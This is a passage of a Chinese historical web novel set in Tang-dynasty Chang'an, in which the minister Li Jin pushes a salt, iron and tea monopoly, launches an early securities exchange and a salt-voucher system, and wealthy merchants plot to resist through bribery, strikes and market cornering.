“何止呢!平康坊的‘天香楼’、‘醉仙阁’,这几日都被一群外来的豪客给包了场,歌舞彻夜不息,一掷千金。可那些姑娘们私下都说,这些豪客心事重重,酒喝得凶,话却不多,常常聚在一处密谈。”
“看那些护卫的架势,腰间鼓鼓囊囊的,怕不是都带着家伙?这长安城,天子脚下,要出什么事?”
坊间的窃窃私语,如同水面下的涟漪,无声扩散。而掌握更多信息的朝廷官员,尤其是户部、吏部以及与各地有千丝万缕联系的官员,心中的不安则更为具体。他们知道, 这 些 突 然 涌 入 长 安 的 神 秘 豪 客, 正 是 来 自 河 东、 淮 南、 剑 南、 江 南 等 地 的 盐 商、 铁 商、 茶 商 巨 贾, 以 及 与 他 们 利 益 捆 绑 在 一 起 的 地 方 豪 强 代 表。 李瑾的“盐铁专卖”之议,如同一把悬在他们头顶的利剑,让他们再也坐不住了。长安,帝国的权力中心,便成了他们必须前来、也必须施加影响的地方。
崇仁坊,一处外表不甚起眼、内里却极为幽深阔绰的宅邸。
此地明面上属于一位蜀中木材商人,实则是各地豪商在长安的一个秘密联络点和议事场所。此刻,深藏于假山园林之后的花厅内,灯火通明,气氛却压抑得令人窒息。
厅内坐着十几个人,年龄不一,衣着或华贵或内敛,但无一例外,眉宇间都带着久居人上的威严和此刻共同的忧愤。若有熟悉各地巨贾的人在此,定会倒吸一口凉气:河东盐业魁首刘半城(即“丰隆号”刘大掌柜)、江淮盐商总会会长沈万川、蜀中井盐大王王鼎、江南茶丝巨擘顾连山……几乎垄断了大唐盐铁茶利近半壁江山的巨头,竟有一大半汇聚于此!
“沈公,长安的消息,确切了?” 刘半城(刘掌柜)脸色阴沉,率先开口。他在河东裴氏倒台后损失不小,但根基犹在,且与新崛起的势力有所勾连,依然是北地盐商的重要代表。
主位上的沈万川,这位在扬州园林中气定神闲的盐商领袖,此刻脸上也少了些从容,多了几分凝重。他缓缓放下手中的密信,那是朝中某位与他们利益攸关的官员刚刚遣心腹送来的。
“确切了。” 沈万川声音低沉,“李瑾在延英殿上,当着陛下和皇后的面, 痛 陈 盐 政 之 弊, 力 主 全 面 推 行 盐 铁 茶 专 卖, 设 立 盐 铁 转 运 使, 官 产 官 销, 统 一 定 价, 严 打 私 贩。** 言辞犀利,将反对者驳得哑口无言。陛下虽未当场下旨,但留中奏疏,令群臣再议,态度已倾向李瑾。皇后……似乎更是支持。”
花厅内响起一片压抑的抽气声和怒骂。
“好个李瑾!这是要绝我等生路啊!” 蜀中王鼎须发皆张,他掌控着蜀地的井盐,利润惊人,“什么‘与民争利’?分明是与我们争利! 我 王 家 三 代 经 营 盐 井, 耗 费 多 少 心 血, 打 通 多 少 关 节, 方 有 今 日! 他一句话就想收走?休想!”
“官产官销?说得好听!” 江南顾连山冷笑,他主要经营茶叶和生丝,但茶与盐铁往往同气连枝,利益相通,“ 那 些 官 府 的 蠹 虫, 除 了 盘 剥 勒 索, 懂 什 么 经 营? 好好的盐场茶山交给他们,不出三年,必定荒废!到时候盐价飞涨,茶质低劣,苦的还是百姓!李瑾这是祸·国殃民!”
“关键是陛下和皇后的态度。” 一位来自河北的铁商代表忧心忡忡,“长孙太尉那么大的势力,说倒就倒了。如今朝中是许敬宗、李瑾这些人掌权,还有皇后在背后…… 他 们 连 长 孙 家 都 敢 动, 我 们 … … 能 挡 得 住 吗?**”
此言一出,厅内气氛更加凝重。长孙无忌的倒台,对这些地方豪强而言,不仅仅是朝堂风向的转变,更是一种强烈的震慑。 皇 权 ( 或 者 说 帝 后 的 权 力) 展 现 出 的 铁 腕, 让 他 们 第 一 次 如 此 清 晰 地 感 受 到 了 来 自 中 央 的、 可 以 碾 碎 一 切 地 方 势 力 的 可 怕 力 量。** 他们引以为傲的财富和地方影响力,在绝对的皇权和国家机器面前,似乎并不那么牢靠。
“挡不住也要挡!” 沈万川猛地一拍桌子,眼中闪过狠厉之色,“若是盐铁专卖真的推行,我等数代积累,顷刻化为乌有! 这 不 仅 是 钱 财 的 损 失, 更 是 断 了 我 等 的 根 基, 绝 了 子 孙 的 后 路!** 坐以待毙,不如拼死一搏!”
“沈公所言极是!” 刘半城接口,眼中精光闪烁,“长安的贵人们,未必就乐意看到李瑾和武后把手伸得太长。盐铁之利,牵扯多少人的好处?朝中诸公,地方大员,宗室勋贵,有多少人暗中持有盐股、茶引,或收受我们的‘孝敬’? 断 人 财 路, 如 杀 人 父 母。 李瑾此举,得罪的岂止是我们?”
他压低了声音:“我已联络了几位朝中的‘老朋友’。他们虽不便公开反对,但暗中施压、拖延议事、制造障碍,还是做得到的。陛下身体欠安,最怕动荡。只要我们能让朝廷看到, 强 行 推 行 专 卖, 必 然 引 发 大 乱, 盐 场 停 工, 盐 路 断 绝, 百 姓 无 盐 可 食, 甚 至 … … 地 方 不 靖,** 陛下和皇后,就不能不掂量掂量!”
“对!” 王鼎狠声道,“我蜀中井盐,凿井煮盐,全赖盐工。 若 朝 廷 硬 来, 我 只 需 一 声 令 下, 万 千 盐 工 立 刻 罢 工, 看 他 李 瑾 从 哪 里 变 出 盐 来! 还有江淮盐场,淮水之上,运盐船只何止万千? 若 是 同 时 ‘ 出 点 意 外’, 堵 塞 了 漕 运, 断 了 长 安、 洛 阳 的 供 给, 看 他 们 急 不 急!”
“不仅仅是停工、断运。” 顾连山阴恻恻地补充,“ 还 可 以 ‘ 帮 助’ 那 些 受 盘 剥 的 灶 户、 盐 丁 们, 向 朝 廷 诉 诉 苦, 甚 至 … … 闹 点 乱 子。** 只要乱子够大,让朝廷焦头烂额,这专卖之议,自然就推行不下去了。届时,我们再去和朝廷谈,条件就好商量多了。”
众人眼中都流露出心照不宣的寒光。这是软硬兼施的策略,一方面在朝中动用关系阻挠,一方面在地方制造麻烦施压,甚至不惜以扰乱民生、威胁稳定为筹码。 他 们 深 知, 在 这 个 帝 国, 稳 定 是 皇 帝 最 大 的 软 肋。** 李治身体不好,武后虽然强势,但也刚刚经历扳倒长孙无忌的大动荡,需要时间巩固权力,未必就愿意立刻面对一场遍及全国的经济动荡和社会骚乱。
“还有钱财。” 沈万川最后总结,恢复了商人的精明与冷静,“李瑾要推行新政,处处需要钱。 我 们 可 以 在 金 钱 上 给 他 制 造 麻 烦。 串联各大钱庄、柜坊,收紧银根,让市面银钱短缺。 同 时, 不 惜 重 金, 贿 赂、 拉 拢 能 够 拉 拢 的 官 员, 在 朝 堂 上 为 我 们 说 话。 重赏之下,必有勇夫。长安城里,缺钱又想往上爬的官员,可不在少数。”
他环视众人,沉声道:“诸位,此番已是我等生死存亡之秋。以往各自为政,或许还能相安无事。如今朝廷欲断我等根本, 若 不 抱 团 取 暖, 齐 心 协 力, 必 被 各 个 击 破, 死 无 葬 身 之 地!** 从今日起,我等当互通声气,资源共享,财力共用。长安这边,由老夫和刘兄等人周旋;地方上,还请王公、顾公及各路朋友,依计行事,务必让朝廷看到我等的‘力量’!”
“愿听沈公号令!” 众人齐声应和,眼中燃起了破釜沉舟的火焰。他们或许单个无法与朝廷抗衡,但联合起来,掌握着帝国大半盐铁茶流通命脉和巨额财富的他们, 自 信 有 能 力 让 这 个 年 轻 的 帝 国 宰 相, 以 及 他 背 后 的 帝 后, 好 好 掂 量 一 下 “ 与 民 争 利” 的 代 价。 然而,他们并不知道,就在他们于这幽深宅邸中密谋的同时,长安城的另一个地方,也有一双眼睛,正冷静地注视着他们汇聚而来的洪流。
尚书省,李瑾的值房。
烛火跳动,映照着李瑾沉静的面容。他手中拿着一份密报,上面详细罗列了近日涌入长安的各地豪商头面人物的名单、落脚点,以及他们频繁拜会的官员、宗亲府邸。
“河东刘半城、江淮沈万川、蜀中王鼎、江南顾连山……都来了。” 李瑾放下密报,嘴角泛起一丝冷意,“动作倒是快。也好,省得我一个个去找了。”
侍立在一旁的心腹幕僚低声道:“相爷,这些人财力雄厚,在地方树大根深,与朝中不少官员亦有勾连。他们此番齐聚长安,必是欲合力阻挠新政。是否要……”
“要如何?” 李瑾抬眼,“将他们抓起来?还是驱逐出京?”
幕僚语塞。这些人明面上并无罪证,且是正常商旅,如何能抓?
“他们想来,就让他们来。长安城大,容得下各色人等。” 李瑾淡淡道,目光深邃,“ 他 们 以 为 联 合 起 来, 展 示 财 力, 威 胁 制 造 混 乱, 就 能 让 朝 廷 退 缩。 却 不 知, 这 正 是 我 所 期 待 的。**”
“相爷的意思是?”
“蛇不出洞,如何打七寸?” 李瑾站起身,走到窗前,望着窗外沉沉的夜色,“他们聚在一起,正好让我看清,这 张 以 盐 铁 之 利 编 织 的 巨 网, 究 竟 有 多 大, 网 上 究 竟 粘 着 多 少 蝇 营 狗 苟 之 徒。 他们越是动作频频, 留 下 的 把 柄 就 越 多, 朝 廷 日 后 动 手, 也 就 越 是 名 正 言 顺。”
他转过身,眼中闪烁着锐利的光芒:“通知我们的人,盯紧他们,尤其是他们与朝中哪些人接触,说了什么,许了什么好处,都要一一记下。另外, 我 们 的 ‘ 那 件 东 西’, 可 以 开 始 准 备 了。** 对付这些眼里只有钱的豪商,有时候,经济的手段,比刀剑更有用。”
幕僚心中一震,知道相爷所说的“那件东西”,必定是针对这些豪商的杀手锏。他躬身应道:“是!属下明白。”
李瑾点点头,重新坐回案前,提笔开始书写一份新的奏疏。他要将豪商云集长安、意图串联阻挠新政的动向,以及可能引发的风险与应对之策,先行密奏皇帝和皇后。 有 些 风 暴, 与 其 等 它 自 然 形 成, 不 如 主 动 将 它 引 向 有 利 于 自 己 的 方 向。 而此刻,长安城的夜空,阴云密布,星月无光。一场关乎帝国经济命脉归属,涉及无数人财富与权势的无声战争,在这座不夜之城,已然拉开了序幕。来自四面八方的金钱与权力的暗流,正在这里汇聚、碰撞,等待着最终爆发的时刻。
第124章 股市雏形现
麟德二年的春末夏初,长安城在一种奇异的氛围中躁动着。朝堂上关于盐铁专卖的争论愈演愈烈,反对声浪在李瑾的强力推动下虽被压制,却并未消散,反而转化为更为隐秘的阻挠和拖延。而聚集在长安的各地豪商巨贾们,则在金钱开道、多方串联之下,将一张无形的大网越织越密,试图以资本的力量和潜在的混乱威胁,迫使朝廷让步。
然而,就在这场看似陷入僵局的政治经济博弈中,李瑾却并未如反对者预料般,在朝堂上进行更激烈的辩驳,或急于推动专卖法令的颁布。相反,他将一部分精力,投向了一个看似与盐铁之争毫不相干、甚至有些“奇技淫巧”的新事物上。
数日后,一份由尚书省发出、盖有李瑾印鉴的奇特“招股文告”,悄然出现在长安东西两市、各大邸店、柜坊乃至一些酒楼茶馆的醒目处,并以惊人的速度被抄录、传抄,迅速成为长安城商贾圈乃至达官贵人之间热议的焦点。
文告内容并不长,但表述的方式和蕴含的理念,却让见多识广的长安人都感到新奇甚至困惑:
“奉尚书省令,为筹措国用,兴利除弊,特创设‘ 大 唐 通 商 交 易 务’ (后世俗称‘大唐交易所’), 旨 在 汇 通 天 下 货 殖, 活 络 四 方 财 货。 今有‘盐铁茶专卖筹备司’(拟设)首期合本经营之利权,面向天下商民发售‘ 盐 引 凭 证’、 ‘ 铁 引 凭 证’、 ‘ 茶 引 凭 证’ (合称‘专营证券’)。**
“ 此 等 凭 证, 乃 代 表 持 有 者 对 未 来 盐 铁 茶 官 营 专 卖 之 利 润 分 享 权 及 优 先 承 销 权。 凡认购者,可凭此证, 于 专 卖 政 策 施 行 后, 按 照 所 持 份 额, 每 年 分 享 官 营 盐 铁 茶 之 部 分 利 润(‘股息’), 并 可 优 先 获 得 一 定 数 量 之 官 盐 官 铁 官 茶 承 销 资 格。 凭证可于‘大唐通商交易务’内 公 开 挂 牌, 自 由 买 卖 转 让, 价 格 随 行 就 市。**”
“发售细则、利润分成、权利义务等具体条款,将于近日于东市新设之‘大唐通商交易务’衙署前张榜公布,并有意者,可前往咨询、登记、认购。 此 乃 朝 廷 与 民 同 利、 共 享 盛 世 之 新 举, 机 不 可 失。**”
文告一出,满城哗然。
大部分普通百姓和低级官吏看得云里雾里。“凭证”?“证券”?“股息”?“挂牌买卖”?这些前所未闻的词汇组合在一起,超出了他们的理解范围。只觉得朝廷似乎要卖一种很特别的东西,跟未来的盐铁茶利润有关,还能买卖。
但聚集在长安的豪商巨贾们,以及那些嗅觉敏锐的大商号主人、柜坊掌柜、甚至一些家有余财的官员、勋贵,却在反复研读这份文告后,感到了前所未有的冲击和……隐约的诱惑。
“这……这是何意?” 崇仁坊密室内,江淮盐商沈万川拿着手下抄录的文告,眉头紧锁,“盐引凭证?分享利润?自由买卖?李瑾这葫芦里卖的什么药?他不是要推行专卖,夺我等之利吗?为何又弄出这什么‘凭证’,还许以利润?”
河东刘半城沉吟道:“此乃 分 化 之 计! 他想用这虚无缥缈的‘未来利润’,换取我们手中的真金白银,甚至……换取我们对专卖的支持!这‘凭证’若能自由买卖,价格必有涨跌,岂不是给了那些投机之徒可乘之机?朝廷坐收其利,稳赚不赔!”
蜀中王鼎却有些犹豫:“可是……若专卖真的推行,盐铁茶之利归公,朝廷确实能获得巨利。这‘凭证’若真能按份额分红,倒不失为一条财路。而且,有了这‘优先承销权’,岂不是说,我们这些原本的盐商,反而有可能变成官盐的承销商?虽然利润可能不如从前独占时丰厚,但胜在稳定,且是合法官营,不必再担私盐风险……”
“王公糊涂!” 刘半城急道,“此乃朝廷的诱饵! 先 以 小 利 诱 我 等 入 彀, 分 化 瓦 解, 待 专 卖 大 权 在 握, 我 等 这 ‘ 凭 证’ 能 分 到 多 少 利, 还 不 是 朝 廷 一 句 话 的 事?** 届时人为刀俎,我为鱼肉!况且,一旦认购了这凭证,岂非变相承认了朝廷专卖的合法性?我等还如何反对?”
沈万川目光闪烁,缓缓道:“刘兄所言有理。但王公的顾虑,也非空穴来风。李瑾此计,确实毒辣。 他 是 看 准 了 我 等 并 非 铁 板 一 块, 有 人 求 稳, 有 人 图 利, 有 人 畏 惧 朝 廷 威 势。 这‘凭证’一出,如同将一块肥肉悬于饿狼之前, 总 有 人 会 忍 不 住 先 下 口。 一旦有人认购,我等联盟,必生裂痕。”
他顿了顿,眼中露出深思:“而且,诸位可曾想过,这‘凭证’可自由买卖…… 若 是 有 人 大 量 购 入, 操 纵 其 价 格, 低 买 高 卖, 其 中 利 润, 恐 怕 不 亚 于 贩 盐 贩 铁 之 利! 这李瑾,不仅仅是要专卖,他这是……要开辟一个新的、由朝廷掌控的‘利市’啊!”
此言一出,众人皆惊。他们习惯了实物贸易,对这种虚拟的、代表未来收益权的凭证交易模式,既感到陌生,又本能地嗅到了巨大的投机可能和风险。
就在豪商们惊疑不定、争论不休之时,东市靠近皇城一侧,原本一处略显陈旧、属于少府监的库房院落,已被迅速改造,挂上了“大唐通商交易务”的崭新牌匾。 院落内部被整饬一新,正堂高阔,设有办理登记、认购的柜台;两侧廊庑下,立起了许多木板,上面已经贴出了更为详细的“专营证券发行章程”,以及用整齐的表格列出的“盐引凭证”第一期发行总额、每股面值、预计年利、认购方式等。虽然简陋,却已初具后世证券交易机构的雏形。
更令人侧目的是,交易务门口,还立起了一块巨大的木牌,上面用醒目的朱笔写着“ 行 情 牌”, 用 来 公 示 各 种 “ 凭 证” 的 实 时 买 卖 价 格 和 成 交 情 况。 尽管此时上面还空空如也,但已足够引人遐想。
开业第一天,交易务门前便被好奇的人群围得水泄不通。有看热闹的百姓,有打探消息的商人,也有各家豪商派来的精明账房和管事。李瑾特意从户部、太府寺抽调了一批精通算学、为人机敏的年轻官吏,在此值守、解说。
“这位官人,这‘盐引凭证’一股作价几何?真能分红?” 一个穿着绸衫、像是中小商人的男子挤到柜台前问道。
“凭证每股面值十贯。至于分红,章程上写得明白,专卖施行后,每年盐利扣除成本、税赋及留存,剩余部分, 按 持 有 凭 证 比 例 分 红, 具 体 数 额 视 当 年 盐 利 多 寡 而 定, 但 章 程 保 证, 年 利 不 低 于 面 值 的 一 成 ( 即 1 贯)。**” 年轻的户部主事耐心解释,指着墙上的章程,“此外,凭此证可优先获得相应额度的官盐承销资格,具体细则另行公布。”
“一成利?还不算承销的赚头?这比放贷的利钱也不差多少了,还是朝廷作保……” 那商人喃喃自语,眼中露出心动之色。十贯钱不是小数目,但对有一定家底的商人来说,也并非拿不出。关键是,这似乎是朝廷背书的新买卖。
“这凭证真能买卖?要是急着用钱,或是觉得不看好,能卖掉吗?” 另一人问道。
“自然可以。 本 交 易 务 提 供 凭 证 挂 牌、 撮 合 交 易 之 服 务。 买卖双方在此登记意向价格,若有相合者,即可成交,本务收取少量‘佣金’。价格嘛,随行就市,可能涨,也可能跌,全看诸位对盐利前景的判断。” 主事指了指门口的“行情牌”,笑道,“日后那上面,便会显示最新的买卖报价和成交价码。”
“还能跌价?” 有人惊呼。
“既是买卖,自有涨跌。譬如看好盐利者多,争相购买,价格自然上涨;反之则跌。这便是‘市’。” 主事说得深入浅出。
新奇的概念,朝廷背书的预期收益,自由交易的诱惑……如同投入平静湖面的石子,在长安的商贾圈中激起了越来越大的涟漪。尽管大多数豪商巨头还在观望,甚至暗中诋毁此为“朝廷圈钱骗局”,但一些嗅觉敏锐的中小商人、家有余财的富户,甚至一些想要寻求稳定收益的官员亲属,已经开始蠢蠢欲动。
数日后,就在争论和观望中,一个爆炸性的消息传来:长安数家与朝廷关系密切、素有“皇商”背景的大商号,联合认购了首批“盐引凭证”总额的三成!紧接着,以经营漕运、与户部往来密切的洛阳巨贾常氏,也宣布大手笔认购。
仿佛是一个信号,交易务门前骤然热闹起来。询问、登记、乃至试探性小额认购的人开始增多。那空白的“行情牌”上,终于出现了第一笔“盐引凭证”的私下协议转让记录,价格竟然比面值高出了一成!虽然成交量很小,但意义非凡—— 有 了 流 通, 有 了 溢 价, 这 种 虚 拟 的 “ 凭 证”, 开 始 被 赋 予 真 实 的 市 场 价 值 和 投 机 属 性。** 财富增值的诱惑,开始压倒对未知风险的恐惧。
消息传到崇仁坊密室,气氛更加凝重。
“常家也下场了……还有那几个‘皇商’!” 王鼎脸色变幻,“他们消息最是灵通,敢如此大手笔,莫非……朝廷推行专卖,势在必行?这凭证……或许真有利可图?”
刘半城怒道:“王公!这是李瑾的诡计!他在用这‘凭证’收买人心,分化我等!那些‘皇商’,本就是朝廷走狗!常家也是看漕运之利,想提前巴结!”
沈万川却沉默了许久,缓缓道:“此物……或许不只是分化之策。诸位想想,若这‘凭证’买卖真的成了气候,成为一个可以自由交易、价格波动、吸引巨量钱财涌入的‘市’, 那 么, 盐 铁 之 利, 就 不 仅 是 产 销 之 利, 更 多 了 一 层 ‘ 钱 生 钱’ 的 利 益。 届时,持有凭证者,便与朝廷盐利深度捆绑。 他 们 会 天 然 希 望 专 卖 成 功, 盐 利 丰 厚, 因 为 那 关 系 到 他 们 手 中 凭 证 的 价 值 和 分 红! 李瑾这是在…… 用 未 来 的 利 益, 制 造 一 批 新 的、 支 持 专 卖 的 ‘ 利 益 同 盟 者’!** 高明,真是高明啊!”
他长叹一声,脸上第一次露出了深深的疲惫和一丝动摇:“更重要的是,此物一出,我等再想以‘断盐绝市、制造混乱’相威胁,恐怕……更难了。一旦这‘凭证’被众多中小商人、富户甚至官员持有, 盐 务 稳 定 与 否, 关 系 到 的 就 不 仅 是 朝 廷 赋 税, 更 是 千 千 万 万 持 有 者 的 身 家 财 产。 谁 敢 让 它 乱? 朝 廷 维 护 盐 务 稳 定 的 决 心, 将 前 所 未 有 地 强 大。**”
密室中一片死寂。所有人都听懂了沈万川话中的寒意。李瑾这一手,不仅仅是经济上的分化,更是从根本上,在改变这场博弈的力量对比和利益格局。他将原本可能反对专卖的潜在力量(中小商人、富户),通过“利益共享”的预期,转化成了专卖制度的潜在维护者,或者说,至少是沉默的大多数。
此刻,皇宫两仪殿内。
李治倚在榻上,听着户部尚书唐临关于“大唐通商交易务”及“专营证券”发行初期情况的奏报,脸上露出了许久未见的、带着些许惊奇的笑容。
“这个李瑾,脑子里总是有些奇思妙想。” 李治咳嗽两声,对帘后的武媚娘道,“皇后,你瞧瞧,他这不声不响,弄出这么个东西。朕起初还以为他只是想筹点钱,没想到……竟是如此一番算计。”
武媚娘清冷的声音中带着一丝赞许:“ 此 乃 阳 谋。 明 码 标 价, 公 开 售 卖, 将 未 来 之 利, 化 为 眼 前 之 资。 既 可 缓 解 当 前 国 用 之 急( 发 行 收 入), 更 可 将 天 下 逐 利 之 资, 绑 上 朝 廷 专 卖 之 战 车。 那些豪商巨贾,自以为掌控盐铁之利,便可胁制朝廷。李相却另辟战场,以利为饵,分化瓦解,更创造出一个由朝廷掌控的新‘利市’,吸引四方资本。 如 此 一 来, 反 对 专 卖 者, 不 仅 是 与 朝 廷 为 敌, 更 是 与 天 下 持 有 此 ‘ 凭 证’ 之 人 的 利 益 为 敌。 妙哉。”
“只是……” 李治还是有些忧虑,“此等前所未有之物,犹如无根之木,全赖信用维持。若专卖不成,或盐利不及预期,这‘凭证’价值暴跌,持者受损,岂不怨声载道,反生事端?”
“陛下所虑极是。” 武媚娘道,“故李相此举,亦是破釜沉舟。 交 易 务 成, ‘ 凭 证’ 行, 则 天 下 之 财 聚 于 朝 廷 掌 控 之 新 渠 道, 专 卖 之 势 不 可 逆 转。 若不成,则李相威望受损,新政亦难推行。 此 乃 绝 妙 好 棋, 亦 是 凶 险 之 着。 然非常之时,当行非常之法。妾身以为,当全力支持李相,将此‘交易务’办成、办好。此物若成, 不 仅 可 解 盐 铁 之 困, 更 可 为 朝 廷 开 辟 一 条 前 所 未 有 的 生 财、 聚 财、 用 财 之 道。**”
李治沉思良久,终于缓缓点头:“既如此,便依皇后所言。告诉李瑾,放手去做。朝廷,会是他这‘交易务’最大的后盾。 朕 倒 要 看 看, 这 用 ‘ 纸 ’ 变 出 来 的 钱 财 和 力 量, 能 不 能 压 倒 那 些 堆 积 如 山 的 盐 包 和 铜 钱。”
“大唐通商交易务”如同一颗投入深潭的奇异石子,其激起的涟漪,正悄然改变着长安城的力量格局,也为即将到来的、更为激烈的盐铁专卖之争,布下了一盘所有人都未曾预料到的新棋局。资本的幽灵,第一次以一种相对公开、有组织的形式,在这座古老的帝都露出了它模糊而强大的身影。
第125章 盐引定风波
“大唐通商交易务”的设立与“专营证券”的发售,如同在平静的湖面投入巨石,激起的波澜尚未平息,另一道更直接、更猛烈、也更精准的浪涛,已紧随其后,拍向那些盘踞在盐铁利益链条上的庞然大物。
麟德二年六月,盛夏的长安城被骄阳炙烤,但比天气更热的,是尚书省新颁的一道政令,以及随之而来的一份细致章程。这一次,不再是“专营证券”那般带着未来预期和投资色彩的金融产品,而是 直 接 针 对 现 有 盐 业 流 通 体 系 的 重 磅 改 革 —— 盐 引 制。**
“ 奉 天 承 运 皇 帝 制 曰: 盐 乃 国 之 重 器, 民 生 所 系。 为 整 肃 盐 政, 平 抑 盐 价, 杜 绝 私 贩, 保 障 国 课, 兹 决 定 自 麟 德 三 年 元 旦 起, 于 全 国 推 行 盐 引 专 卖 新 法。 所 有 官 盐 之 生 产、 收 购、 储 运, 统 由 新 设 之 盐 铁 转 运 使 司 掌 管。 民 间 商 贾 若 欲 贩 运 销 售 食 盐, 必 须 先 至 各 地 盐 铁 转 运 分 司 或 指 定 柜 坊, 购 买 相 应 额 度 之 ‘ 盐 引’ ( 官 制 专 卖 凭 证), 凭 引 至 指 定 盐 场 提 盐, 按 引 缴 纳 盐 税 及 专 营 费, 方 可 合 法 运 销。 无 引 贩 盐, 一 律 以 私 盐 论 处, 从 重 治 罪! 各 地 旧 有 盐 商, 可 凭 过 往 经 营 记 录 及 纳 税 凭 证, 于 限 期 内 赴 有 司 登 记, 经 审 核 后, 优 先 获 得 首 批 盐 引 认 购 资 格。 具 体 章 程 如 下 … …”**
与“专营证券”不同,盐引是 实 实 在 在 的 交 易 和 运 销 许 可 凭 证, 直接对应着未来某一时间、某一地点、某一数量的食盐实物。它标志着朝廷不再满足于仅仅收取盐课,而是要 直 接 掌 控 从 盐 场 到 市 场 的 整 个 流 通 链 条。 盐引的发行、定价、分配权,完全收归新成立的盐铁转运使司(明眼人都知道,这将是李瑾直接掌控的机构)。这意味着, 过 去 那 种 盐 商 与 盐 场 私 下 勾 结、 低 价 拿 盐、 走 私 贩 运 的 模 式, 从 根 本 上 被 宣 判 了 死 刑。 盐商想要继续做食盐生意,就必须按照朝廷的新规矩来,购买官定价格的盐引,缴纳足额的税费,在官方指定的渠道内运营。
章程细节极为详尽,对盐引的种类(按地域、时间、盐种划分)、价格、购买流程、使用限制、违规处罚等,都做了明确规定。同时,章程也给予现有盐商一定的“过渡优待”和“优先认购权”,看似是一种安抚,实则 是 一 种 更 为 高 明 的 分 化 策 略。
崇仁坊密室内的气氛,已从之前的凝重,变成了近乎凝固的冰点。
“盐引!果然是盐引!” 刘半城将抄录的章程狠狠摔在桌上,脸色铁青,“李瑾这是图穷匕见了!什么‘优先认购’,分明是逼我们 拿 着 真 金 白 银, 去 买 他 的 ‘ 许 可 证’, 还 要 感 激 涕 零!** 这盐引价格,比我们之前从盐场拿盐的成本高出近三成!再加上税和专营费,利润还剩多少?!”
沈万川闭目靠在椅背上,手指无意识地敲击着扶手,良久才道:“章程我细看了。 毒 就 毒 在 这 ‘ 优 先 认 购 权’ 和 ‘ 分 级 定 额’ 上。 你们看,” 他睁开眼,指着章程中的条款,“盐引并非无限量发行,而是根据各地人口、消费、往年销量核定总额, 分 批 发 售。 现有盐商,按其过去三年平均纳税额及经营规模,核定‘认购基数’,可优先购买对应基数的平价盐引。 超 出 基 数 部 分, 或 是 新 入 行 者, 则 需 参 与 公 开 竞 价, 价 高 者 得。 而 这 ‘ 认 购 基 数’ … … 我 们 在 座 诸 位, 过 去 为 逃 避 盐 课, 上 报 的 税 额 和 经 营 规 模, 有 几 家 是 足 额 的?** 如此一来,我们能拿到的‘平价’盐引份额,恐怕连以往生意的三成都不到!剩下的,要么去高价竞买,要么……就退出盐业!”
“好毒的计算!” 王鼎倒吸一口凉气,“这是逼着我们 自 曝 家 底, 还 要 感 谢 朝 廷 给 的 ‘ 优 待’! 若我们不去登记,不去认购这劳什子盐引,便是自动放弃合法经营权,日后贩盐便是私盐,朝廷打击名正言顺。若去登记认购, 就 等 于 承 认 了 这 套 新 规 矩, 而 且 能 拿 到 的 份 额 有 限, 利 润 大 减。 李瑾这是 逼 我 们 在 苟 延 残 喘 和 立 刻 去 死 之 间 做 选 择!”
“不仅如此。” 江南顾连山脸色阴沉地补充,“章程还说, 盐 引 可 以 在 ‘ 大 唐 通 商 交 易 务’ 进 行 二 次 转 让 交 易。 这意味着什么?意味着即便我们这些大盐商拿到的平价引额有限, 那 些 中 小 商 人、 甚 至 投 机 客, 却 可 以 通 过 购 买 我 们 手 中 的 盐 引, 或 是 参 与 竞 价, 进 入 盐 业。 盐 业 的 门 槛 和 垄 断, 被 打 破 了! 我们不再是唯一的玩家。 这 是 在 我 们 的 池 塘 里, 放 进 无 数 条 鲶 鱼! 长此以往,我们还有何优势可言?”
恐惧、愤怒、不甘,在密室中弥漫。盐引制不仅仅是一道经济法令,它是一套 精 心 设 计 的 制 度 陷 阱, 将 他 们 赖 以 生 存 的 土 壤 彻 底 翻 新。 反抗,意味着与整个新体制为敌,与即将拥有盐引的无数新晋利益者(包括那些购买了“专营证券”期待分红的人)为敌。顺从,则意味着利润锐减,地位下降,甚至可能被新的竞争者和资本慢慢吞噬。
“沈公,难道我们就这么认了?” 刘半城不甘地低吼。
沈万川长叹一声,眼中闪过挣扎,最终化为一丝狠厉与决断:“认?自然不能轻易认!但硬抗,恐非上策。李瑾此计, 阳 谋 与 阴 谋 并 用, 已 占 先 机。 我们若一味反对,只会被他扣上‘阻挠国策、图谋私利’的帽子,正好给他借口动用雷霆手段。别忘了长孙无忌的前车之鉴。”
他站起身,走到窗前,望着外面被高墙切割的天空,缓缓道:“为今之计, 不 可 正 面 冲 突, 但 也 绝 不 能 坐 以 待 毙。 其一,立刻派人回各自根基之地, 按 章 程 要 求, 尽 可 能 ‘ 合 理’ 地 准 备 登 记 材 料, 争 取 最 大 的 ‘ 认 购 基 数’。 哪怕多补些税款,也要把份额做大。这是我们的基本盘,不能丢。”
“其二,” 他转过身,眼中精光闪烁,“ 利 用 这 盐 引 可 交 易 的 规 则。 既然李瑾想用这个打破垄断,引入竞争, 那 我 们 就 用 我 们 的 财 力, 在 这 个 新 的 ‘ 市 ’ 上, 跟 他 玩 一 玩! 集中我们手中的资金, 在 盐 引 发 行 和 二 级 交 易 中, 尽 可 能 地 吃 进 盐 引, 尤 其 是 那 些 紧 俏 地 区、 紧 俏 时 段 的 盐 引。 只要我们控制足够多的盐引, 就 依 然 能 在 一 定 程 度 上 影 响 盐 价 和 市 场 供 给。 甚至……可以联手 抬 高 盐 引 价 格, 制 造 市 场 紧 张 和 混 乱, 让 朝 廷 看 看, 没 有 我 们 的 ‘ 配 合’, 这 新 法 能 不 能 玩 得 转!**”
“妙啊!” 王鼎眼睛一亮,“用朝廷的规则,反制朝廷!我们掌控盐引,就相当于掌控了部分‘货源’。那些中小商人、新入行者,想要盐引,就得看我们的脸色,从我们手里高价买!利润,依然可以从流通环节找回来!”
“其三,” 沈万川声音转冷,“ 继 续 在 朝 中 活 动, 不 是 公 开 反 对, 而 是 在 细 节 上 挑 刺, 制 造 执 行 难 度, 拖 延 时 间。 同时,地方上…… 该 有 的 ‘ 声 音’, 还 是 要 有。 让朝廷知道,盐务改革,牵一发而动全身,急不得。 为 我 们 在 金 融 市 场 上 的 操 作, 争 取 时 间 和 空 间。”
